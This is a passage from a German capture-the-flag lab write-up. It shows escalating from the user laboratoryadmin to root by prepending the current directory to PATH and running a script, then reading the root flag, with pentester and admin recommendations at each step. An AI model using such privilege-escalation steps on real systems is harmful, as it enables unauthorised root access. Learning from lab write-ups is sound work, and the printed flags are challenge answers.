Bewertung: Erfolg! Die Rechte wurden erfolgreich zum Benutzer `laboratoryadmin` eskaliert. Die User-Flagge (`flag{$udeR$_Pr!V11E9E_I5_7En53}`) wurde gefunden.

Empfehlung (Pentester): Untersuchen Sie die Umgebung und Berechtigungen des Benutzers `laboratoryadmin`. Suchen Sie nach weiteren Hinweisen oder Schwachstellen, um `root` zu werden. Untersuchen Sie insbesondere das Verzeichnis `autoScripts`.
Empfehlung (Admin): Entfernen Sie die unsichere `sudo awk`-Regel.

laboratoryadmin@laboratoryuser:~/autoScripts$ PATH=$(pwd):$PATH
laboratoryadmin@laboratoryuser:~/autoScripts$ id
uid=1002(laboratoryadmin) gid=1002(laboratoryadmin) groups=1002(laboratoryadmin)
laboratoryadmin@laboratoryuser:~/autoScripts$ ./PMCEmployees
root@laboratoryuser:~/autoScripts# id
uid=0(root) gid=1002(laboratoryadmin) groups=1002(laboratoryadmin)
root@laboratoryuser:~/autoScripts#
                      

Analyse: Im Home-Verzeichnis von `laboratoryadmin`, im Unterverzeichnis `autoScripts`, wird die `PATH`-Umgebungsvariable manipuliert, um das aktuelle Verzeichnis (`.`) an den Anfang des Suchpfads für ausführbare Dateien zu stellen (`PATH=$(pwd):$PATH`). Anschließend wird das Skript `./PMCEmployees` ausgeführt.

Bewertung: **Root-Privilege-Escalation erfolgreich!** Die Ausführung von `./PMCEmployees` führt zu einer Root-Shell (`uid=0(root)`). Der genaue Mechanismus ist unklar, aber es gibt zwei Hauptmöglichkeiten: 1. **PATH-Hijacking:** Das Skript `PMCEmployees` ruft ein anderes Kommando ohne absoluten Pfad auf (z.B. `ls` statt `/bin/ls`). Da das aktuelle Verzeichnis (`.`) nun am Anfang des `PATH` steht, könnte eine bösartige Datei mit demselben Namen (z.B. eine Datei namens `ls`, die `/bin/bash` ausführt) im Verzeichnis `autoScripts` erstellt und ausgeführt werden. 2. **SUID/Privilegiertes Skript:** Das Skript `PMCEmployees` selbst hat SUID-Root-Rechte (obwohl es in der `find`-Ausgabe nicht auftauchte, was seltsam ist) oder wird von einem anderen Prozess mit Root-Rechten aufgerufen, der auf dieses Verzeichnis zugreift.

Empfehlung (Pentester): Ziel erreicht. Wechseln Sie ins `/root`-Verzeichnis und lesen Sie die Root-Flagge. Analysieren Sie optional das Skript `PMCEmployees` und die Umgebung, um den genauen Eskalationsmechanismus zu verstehen.
Empfehlung (Admin): **KRITISCH!** Untersuchen Sie das Skript `PMCEmployees` und seine Berechtigungen. Entfernen Sie SUID-Bits von benutzerdefinierten Skripten. Stellen Sie sicher, dass Skripte immer absolute Pfade für aufgerufene Befehle verwenden, um PATH-Hijacking zu verhindern. Korrigieren Sie unsichere `sudo`-Regeln.

root@laboratoryuser:~/autoScripts# cd /root/
root@laboratoryuser:/root# ls
root.txt  snap
                     
root@laboratoryuser:/root# cat root.txt
flag{r00t_t3ns0}
                     

Analyse: In der erlangten Root-Shell wird in das `/root`-Verzeichnis gewechselt und die Datei `root.txt` ausgelesen.

Bewertung: Die Root-Flagge `flag{r00t_t3ns0}` wurde erfolgreich gefunden.

Empfehlung (Pentester): Das Ziel der Maschine wurde erreicht. Dokumentieren Sie alle Schritte und gefundenen Schwachstellen.
Empfehlung (Admin): Beheben Sie alle identifizierten Schwachstellen (SQLi, MD5-Hashes, unsichere Dateiinhalte, unsichere sudo-Regeln, potenzielles PATH-Hijacking oder unsicheres Skript).

Flags

cat /home/laboratoryadmin/user.txt
flag{$udeR$_Pr!V11E9E_I5_7En53}
cat /root/root.txt
flag{r00t_t3ns0}